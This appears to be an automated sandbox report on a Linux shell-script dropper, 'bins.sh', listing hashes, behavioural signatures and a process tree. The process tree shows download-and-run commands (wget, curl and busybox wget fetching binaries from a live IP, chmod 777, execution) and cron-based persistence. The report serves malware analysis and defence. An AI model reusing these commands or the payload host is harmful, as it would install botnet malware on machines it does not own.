Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    26/11/2024, 18:06

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    287fd8ff31d734e6b93c9a8bbeef08ae

  • SHA1

    019d60c4998c554bbb85d816dfd93c0079c4fe03

  • SHA256

    4404513cb0bbcbc2922b20dd2655132b5f3a5f0f11141ed6e2291fe622c39df8

  • SHA512

    14cfd73b971d8acf7e9e5263ac01f6446a13f9d71eec3fb0c595dc1cee10531d19c638ce76e14f8788e2bf9f329ded26959f85d27d67393f74d1ec461c7f88a2

  • SSDEEP

    96:DW6M1f1E8zbW9EEafjhzsjEb7bwqg3/SOch+zWx41aGjybnuP0qg3/SOqh2EEafl:668zbWShzYEXttMzDxylzbg

Malware Config

Signatures

  • Contacts a large (2157) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:642
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:644
        • /usr/bin/wget
          wget http://216.126.231.240/bins/8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb
          2⤵
          • Writes file to tmp directory
          PID:646
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:670
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb
          2⤵
          • Writes file to tmp directory
          PID:674
        • /bin/chmod
          chmod 777 8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb
          2⤵
          • File and Directory Permissions Modification
          PID:679
        • /tmp/8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb
          ./8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:680
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:682
              • /usr/bin/crontab
                crontab -l
                4⤵
                • Reads runtime system information
                PID:684
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:686
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:687
            • /bin/rm
              rm 8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb
              2⤵
                PID:700
              • /usr/bin/wget
                wget http://216.126.231.240/bins/GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY
                2⤵
                  PID:704

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • /tmp/8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb

                Filesize

                177KB

                MD5

                786d75a158fe731feca3880f436082c0

                SHA1

                79ea2734e43d00cdeabed5586b2c1994d02aef3e

                SHA256

                5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                SHA512

                7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

              • /var/spool/cron/crontabs/tmp.TPNLST

                Filesize

                210B

                MD5

                fa10271e0d10181dc63635eefdcd7488

                SHA1

                fec039af854d780949d150a065e76870137a92fa

                SHA256

                394c59aaf42695439644349180a2d139468a5a7a137bda2f786b222ba6c9c722

                SHA512

                5d4b9873dc64a9a25d0f2e312be48b411df9c8de9686f95be30a60a8d52cfb1de75047a9fe22bef5426f7326528b7f91f8ed5bd5fff8af27c967392d503f3f03